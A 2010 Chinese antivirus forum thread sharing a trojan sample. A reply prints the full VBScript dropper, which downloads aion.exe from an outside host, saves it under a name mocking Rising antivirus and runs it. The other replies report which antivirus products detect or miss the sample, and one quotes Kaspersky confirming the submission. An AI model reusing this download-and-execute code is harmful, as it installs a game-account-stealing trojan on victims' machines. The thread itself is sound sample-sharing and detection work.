木马一个，vbs脚本+下载物

显示全部楼层 · 发表于 2010-5-26 10:14:29

RT，

显示全部楼层 · 发表于 2010-5-26 10:25:18

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://downloadering.9966.org/aspnet_client/aion.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C\fuckrav.com",2
wscript.sleep 1
wscript.createobject("wscript.shell").run "C\fuckrav.com",1

显示全部楼层 · 发表于 2010-5-26 10:33:58

ess kill

Win32/Kryptik.DPR 特洛伊木马的变种

显示全部楼层 · 发表于 2010-5-26 11:00:16

本帖最后由幸福的猪猪于 2010-5-26 14:38 编辑

vbe文件，卡巴斯基可以查杀。

vbe下载回来的木马程序，卡巴斯基不能识别。（在安全免疫区运行，卡CPU。。。）

不能识别的样本，上报卡巴斯基。

您好，

aion.exe_ - Trojan-GameThief.Win32.WOW.aaea

以上文件包含恶意代码，下次更新后即可查杀。感谢您的上报。

回复时请引用全部邮件。

显示全部楼层 · 发表于 2010-5-26 11:30:40

微点报

显示全部楼层 · 发表于 2010-5-26 11:57:00

显示全部楼层 · 发表于 2010-5-26 12:03:22

红伞杀之~~

显示全部楼层 · 发表于 2010-5-26 12:03:38

AVGmiss~~

显示全部楼层 · 发表于 2010-5-26 17:05:05

C\fuckrav.com
fuckav 好名字

显示全部楼层 · 发表于 2010-5-26 17:36:49

RISING KILL

[病毒样本] 木马一个，vbs脚本+下载物

本帖子中包含更多资源

评分

评分

本帖子中包含更多资源

本帖子中包含更多资源